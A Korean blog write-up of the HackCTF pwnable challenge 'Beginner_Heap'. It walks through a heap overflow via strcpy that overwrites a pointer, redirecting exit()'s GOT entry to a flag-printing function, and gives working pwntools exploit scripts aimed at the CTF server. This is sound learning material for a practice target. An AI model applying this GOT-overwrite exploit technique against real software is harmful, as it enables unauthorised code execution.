tmxklab

[HackCTF/Pwnable] Beginner_Heap 본문

War Game/HackCTF

[HackCTF/Pwnable] Beginner_Heap

tmxk4221 2020. 3. 7. 22:10

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3016

 

1) 접속

두 번의 입력을 받고 종료됨

 

 

2) IDA를 통해 확인

- 확인 결과 main함수와 sub_400826함수가 가장 눈에 띔

- sub_400826은 fla파일을 화면에 출력해주는 함수로 공격목표에 해당함

 

 

2-1) IDA(Pseudocode)확인 - main()

- 9~10행 : void형 v3포인터 변수를 16bytes할당해 준 뒤 1을 저장

- 11행 : v3포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당

- 12~13행 : void형 v4포인터 변수를 16bytes할당해 준 뒤 2를 저장

- 14행 : v4포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당

- 15~16행 : 4096bytes만큼 s변수에 표준입력을 받은 뒤 v3+1에 s변수에 저장된 값을 복사

- 17~18행 : 4096bytes만큼 s변수에 표준입력을 받은 뒤 v4+1에 s변수에 저장된 값을 복사

- 19행 : return이 아닌 exit함수로 프로그램 종료

 

 

2-2) IDA(Pseudocode)확인 - sub_400826()

- flag파일의 내용을 화면에 출력 

 

 

3) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인


2. 접근방법

아이다를 통해 메인 함수를 확인했을 때 스택 크기보다 큰 4096bytes까지 입력을 받을 수 있는 fgets함수를 통해 bof를 일으켜 rtl공격이 가능한지 확인해보자

또한, 데이터 사이즈를 지정하지 않고 복사할 수 있는 strcpy함수도 bof가 가능하므로 확인해보자

 

 

1) 먼저, main함수를 분석하고자 디버깅을 시도

하지만, main함수의 심볼이 없어 확인할 수 없다.

- file명령어를 통해 확인 결과 stripped된 파일임을 확인할 수 있다.

- $file : 파일의 종류를 볼 수 있는 명령어로 특징으로는 확장자가 아닌 파일의 내용을 보고 파일의 종류를 확인할 수 있다. 또한, 파일의 종류뿐만 아니라 다양한 정보를 획득할 수 있다.

 

- stripped file : 실행파일 내에 심볼 정보가 사라진 파일

- not stripped file : 실행 파일 내에 심볼 정보가 남아있는 파일

 

- 추가 설명 : 보통 ELF같은 실행파일은 stripped거나 not stripped일 수 있다. not stripped인 경우 디버깅 등을 위한 추가 정보들이 포함되어 있어 디버깅하는데 편리하지만 그 대신 실행크기가 커지는 단점이 존재한다. stripped인 경우 디버깅 등 추가 정보 없이 최소한의 코드만 가지고 있어 디버깅하기에 힘들지만 실행크기가 작아지는 장점이 존재한다.

 

 

2) main함수 디버깅

- stripped된 binary파일이므로 심볼 정보가 없어 특정 함수에 대해 확인할 수 없음

- 하지만, $checksec를 통해 확인한 결과 PIE가 걸려있지 않아 Code(Text)영역을 포함한 모든 영역(Data, Stack, Heap, Libc)이 랜덤하게 매핑되지 않으므로 Code(Text)영역에 있는 main함수의 주소가 고정되어 있다.

- 따라서, 아이다를 통해 main함수의 주소를 찾아 해당 주소에 bp를 걸고 디버깅을 시작한다.

- main함수 주소 : 0x4008A8

- 정상적으로 메인함수의 시작 부분을 확인할 수 있다.

 

이제, fgets를 두 번 실행함으로써 v3+1과 v4+1에 데이터가 복사되므로 v3+1에는 "AAAAAAAA"을 v4+1에는 "BBBBBBBB"을 입력하여 확인해보자

 

2-1) v3, v3+1

먼저, v3는 [rbp-1020]에 위치하므로 v3의 주소를 확인해보자

- malloc을 통해 메모리 할당을 받고 v3포인터 변수에 1을 저장한다.

- [rbp-0x1020]에는 0x602260이 저장되어 있고 0x602260이 가리키는 곳에는 0x1이 저장되어 있다.

- 위 과정은 v3포인터 변수로부터 8bytes떨어진 곳에(QWORD) 8bytes할당해주는 것

- v3+1는 0x602280이 저장되어 있다.

- fgets()로 "AAAAAAAA"을 입력받아 strcpy()를 통해 v3+1이 가리키는 곳에 저장하는 과정

- 확인 결과 v3+1이 가리키는 곳에 "AAAAAAAA"이 저장된 것을 확인할 수 있다.

 

2-2) v4, v4+1

위 과정과 동일하게 v4와 v4+1의 주소를 확인

- v4가 가리키는 곳에 2가 저장됨

- v4+1이 가리키는 곳에 "BBBBBBBB"이 저장됨

 

2-3) 결론

- *v3[rbp-0x1020] : 0x602260 -> 1

- *v3+1 : 0x602280 -> "AAAAAAAA"

- *v4[rbp-0x1010] : 0x6022a0 -> 2

- *v4+1 : 0x6022c0 -> "BBBBBBBB"

 

3) 중간 점검

- 결론적으로 우리가 실행시켜야 하는 함수는 sub_400826함수이다.

- bof를 통해 rtl을 시도하려 했지만 exit함수를 call하면서 main함수가 종료된다.

- 따라서, exit함수 대신에 sub_400826함수가 실행할 수 있도록 got를 덮어쓰면 되지 않을까 추측

- 그러기 위해 첫 번째 strcpy를 통해 v3+1가 v4+1에 접근하는 주소 값을 바꾸고(v4+1의 주소가 아닌) 두 번째 strcpy를 통해 v4+1에 접근할 때 이전 작업으로 바뀐 주소(exit의 got주소)를 통해 sub_400826함수의 주소를 입력하는 것이다.

 

4) 포인터 변수들 위치 확인

v3+1에는 "AAAAAAAA", v4+1에는 "BBBBBBBB"을 저장한 후 확인한 결과

- v3으로부터 8bytes떨어진 곳에 v3+1의 주소 값이 있고 v3+1의 주소에는 "AAAAAAAA"이 입력되어 있음, v4와 v4+1도 마찬가지로 형성되어 있음

 

5) 결론

- 따라서, 첫 번째 strcpy를 통해 v3+1에 할당된 공간보다 더 큰 값을 주어 v4로부터 8bytes떨어진 곳에 v4+1의 주소 대신에 exit()의 got주소를 넣는다.

- 두 번째 strcpy를 통해 exit()의 주소에 sub_400826함수의 주소를 넣는다.


3. 풀이

1) exit함수의 plt, got확인

- exit()의 got 주소 : 0x601068

 

2) sub_400826함수의 주소 확인

- sub_400826()의 주소 : 0x400826

 

3) 페이로드 구성

3-1) 첫 번째 strcpy

- v3+1로부터 v4+1전까지 40bytes차이나므로 dummy값 40bytes를 입력한 뒤 v4+1의 위치에 exit()의 got주소를 넣는다.

 

3-2) 두 번째 strcpy

- v4+1에는 exit()의 got주소가 있으므로 exit()의 got주소로 접근하게 되며 이 때, sub_400826함수의 주소를 넣는다.

 

4) 디버깅

** 디버깅을 위해 pwntools를 사용하여 gdb에 attach하여 입력 값이 잘 들어갔는지 확인해본다.

** 참고로 우분투 환경에서 진행함

from pwn import *

context.log_level="debug"

p=process('./beginner_heap.bin', aslr=False)
gdb.attach(p)

exit_got = p64(0x601068)
sub_addr = p64(0x400826)

payload = "A"*40
payload += exit_got

p.sendline(payload)

p.sendline(sub_addr)

p.interactive()

 

* 확인 결과

(참고로 위 코드를 실행하면 gdb가 켜지는데 이 때, 이미 프로그램이 run한 상태이므로 c를 입력해야 payload가 들어간다. 또한, bp를 걸어서 확인할 수 있다.)

- v4+1의 위치에 exit()의 got주소가 들어간 것을 확인하였고, exit()의 got주소에 sub_400826의 주소가 들어간 것을 확인

 

5) 공격 코드

from pwn import *

context.log_level="debug"

p = remote("ctf.j0n9hyun.xyz", 3016)
       
exit_adr = p64(0x601068)
sub_adr = p64(0x400826)

payload = "A"*40
payload += exit_adr

p.sendline(payload)

p.sendline(sub_adr)

p.interactive()

 

6) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Gift  (0) 2020.05.18
[HackCTF/Pwnable] Look at me  (0) 2020.03.07
[HackCTF/Pwnable] RTL_Core  (0) 2020.02.23
[HackCTF/Pwnable] Random Key  (0) 2020.02.23
[HackCTF/Pwnable] 1996  (0) 2020.02.23
Comments